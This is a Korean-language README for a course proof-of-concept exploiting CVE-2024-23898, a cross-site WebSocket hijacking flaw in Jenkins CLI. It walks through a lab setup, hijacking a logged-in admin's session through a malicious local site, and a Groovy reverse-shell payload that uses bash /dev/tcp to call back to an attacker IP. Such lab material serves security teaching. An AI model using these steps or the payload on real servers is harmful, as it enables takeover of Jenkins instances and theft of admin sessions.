Jenkins CLI Websocket 하이재킹 - PoC
CVE-2024-23898에 대한 개념 증명 교차 사이트 WebSocket 하이재킹 익스플로잇입니다. 이는 Jenkins 버전 2.217-2.441에 영향을 미치는 취약점입니다.
이 익스플로잇은 Jenkins CLI를 대상으로 하며, 이를 통해 원격으로 Jenkins 제어 서버에 접근하고 명령을 실행할 수 있습니다. 이 익스플로잇을 통해 원격 공격자는 관리자가 대상 Jenkins 제어 서버에 로그인한 상태에서 악성 사이트를 방문하도록 속임을 당할 경우, Jenkins 제어 서버에 대한 접근 권한을 획득하고 지속적인 백도어를 설정할 수 있습니다.
면책 조항
이 코드는 교육 목적으로만 제공되며, Carnegie Mellon University의 해킹 및 오펜시브 보안 과정에서만 사용하기 위한 것입니다. 이 코드는 무기화되거나 악성 코드 제작에 사용되어서는 안 됩니다. 저자는 그러한 시도를 명시적으로 반대합니다.
Jenkins 설정
- "docker-compose build && docker-compose up -d"를 실행하세요.
- http://localhost:8080으로 이동하면 관리자 비밀번호를 입력하라는 메시지가 표시됩니다.
- Jenkins 도커 컨테이너에서 셸을 엽니다(POSTGRES가 아닌 것).
- "docker exec -it <container_id> bash"
- Jenkins 페이지에 표시된 디렉터리로 cd 명령을 사용하여 이동하고, 비밀번호를 획득하세요.
- 기본 관리자 계정을 설정하고(비밀번호를 기억하세요) 기본 플러그인을 설치하세요.
-익명 사용자에게 기본 권한을 부여하려면 Manage Jenkins > Security로 이동하세요.
- 인증 유형을 "Matrix-based"로 설정하세요.
- 익명 사용자가 "Overall" 및 "Job"을 읽을 수 있도록 허용하세요.
WebSocket 하이재킹 수행
- Firefox를 열고 설정 > 보안 및 개인정보 보호로 이동하세요.
- 브라우저 개인정보 보호를 사용자 정의로 설정하고 쿠키를 "끄기"로 전환하세요(이렇게 하면 Firefox가 모든 쿠키를 허용합니다).
- Jenkins로 이동하여 관리자로 로그인하고, "로그인 유지"를 클릭했는지 확인하세요.
- evilApp.py를 실행하고 http://localhost:5000으로 방문하세요.
- 네트워크 탭으로 이동하여 새로고침을 누르세요.
- "ws" 파일이 있는 패킷을 클릭하고 응답(Response) 탭으로 이동하면 "인증됨: admin"이라고 표시되는 것을 확인할 수 있습니다.
- 또한 "Cookies"를 확인하여 remember-me 쿠키를 볼 수 있습니다.
리버스 셸 실행
- 자신의 컴퓨터 터미널에서
nc -l <port_num> 명령어로 netcat 리스너를 시작하세요(<port_num>을 사용하지 않는 포트 번호로 바꾸세요).
- Docker에서 인식하는 컴퓨터의 IP 주소를 확인해야 합니다. Mac에서는
ipconfig getifaddr en0 명령어로 찾을 수 있습니다.
- Jenkins 서버가 실행 중이라고 가정하고,
[http://localhost:8080/script](http://localhost:8080/script)로 이동하세요. 아직 로그인하지 않았다면 관리자 계정으로 로그인하세요.
- 이 페이로드를 Groovy 스크립트 콘솔에 붙여넣고 실행하세요:
['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
- netcat 리스너가 있는 터미널로 돌아가세요. Jenkins 서버의 파일 시스템에 있으며 관리자 사용자가 할 수 있는 모든 작업을 수행할 수 있습니다.